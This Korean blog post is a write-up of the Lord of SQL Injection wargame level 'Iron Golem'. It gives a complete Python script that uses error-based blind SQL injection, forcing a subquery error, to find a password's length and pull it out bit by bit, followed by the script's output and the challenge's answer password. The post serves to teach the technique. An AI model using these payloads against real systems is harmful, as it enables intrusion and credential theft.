WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 21 - Iron Golem

철 골렘이다. 글이 날아가서 썩 기분이 좋은 몬스터가 아니니, 빠르게 코드를 만나보자

 

 

<출처 : 마인크래프트 위키 https://minecraft.fandom.com/wiki/Iron_Golem>

 

 

* 본 포스팅의 문제 해결 코드는 Python으로 작성되어있습니다. 코드의 자세한 설명은 아래 참조 *

2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


코드

 

 

우선 Blind SQL Injection을 사용해야 된다.(정확한 Pw를 물어본다.) 특이한 건 첫 번째 query에서 성공 여부를 판단할 수 있는 방법이 error를 통해서라는 점이다.(참고로 이런 식으로 blind sql injection을 하는 것을 error based sql injection이라고 한다.)

 

필터링된 문자열은 sleep과 benchmark인데, 이는 둘다 time base sql injection에 사용되는 함수이다.(select * from table sleep(2) >> 성공하면 2초 기다렸다가 결과가 반환된다. 실패하면 바로 반환되는 점을 이용한 blind sql injection이다.)

 

이번엔 다른 방식으로 접근해봐야 되겠다.

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=06b5a6c16e8830475f983cc3a825ee9a
from requests import get


url = "### IRON GOLEM URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''

print("### find for pw length ###")
while(True) :
    param = "?pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)="+str(length)+",FALSE,(select%201%20union%20select%202))--%20;"
    new_url = url+param
    rec = get(new_url,cookies=cookie)

    if(rec.text.find("Subquery returns more than 1 row")<0) :
        print("find pw length : "+str(length))
        break
    else :
        print("PLease.... : "+str(length))
        length+=1
 
print("### find for pw ###") 
for i in range(1,length+1) :
    temp_array = ''
    for j in range(1,9) :
        param = "?pw=%27%20or%20id=%27admin%27%20and%20(select 1 union select(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=1))--%20;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Subquery returns more than 1 row")<0) :
            temp_array += "1"
        else :
            temp_array += "0"

    password += chr(int(temp_array,base=2))

print("here's your passwrod : "+password)

 

에러를 강제로 일으키는 좋은 방법 중 하나는 UNION을 사용하는 것이다. 위에처럼 SELECT 1 UNION SELECT 2를 하게 되면 2개의 row를 가진 서브 쿼리 결과가 만들어지는데, 이는 문법 위반이다.(조건식의 서브 쿼리는 1개의 row만을 가져야 한다.)

 

따라서 if문을 이용해서 length(pw)의 길이를 하나하나 늘려가며, 틀렸을 경우 error를 발생시키고(에러가 나오면 웹페이지에 Subquery returns more than 1 row가 나온다.) 아니면 찾을 걸로 처리하면 된다. 실행결과는 다음과 같다.

### find for pw length ###
PLease.... : 0
PLease.... : 1
PLease.... : 2
PLease.... : 3
PLease.... : 4
PLease.... : 5
PLease.... : 6
PLease.... : 7
PLease.... : 8
PLease.... : 9
PLease.... : 10
PLease.... : 11
PLease.... : 12
PLease.... : 13
PLease.... : 14
PLease.... : 15
PLease.... : 16
PLease.... : 17
PLease.... : 18
PLease.... : 19
PLease.... : 20
PLease.... : 21
PLease.... : 22
PLease.... : 23
PLease.... : 24
PLease.... : 25
PLease.... : 26
PLease.... : 27
PLease.... : 28
PLease.... : 29
PLease.... : 30
PLease.... : 31
find pw length : 32
### find for pw ###
here's your passwrod : 06b5a6c16e8830475f983cc3a825ee9a

 

 

 


이번 몬스터를 통해 Error based SQL Injection을 배웠다. 벌써 우리의 여정이 반이나 지나가고 있다. 다음 관문에서 여러분을 기다리겠다.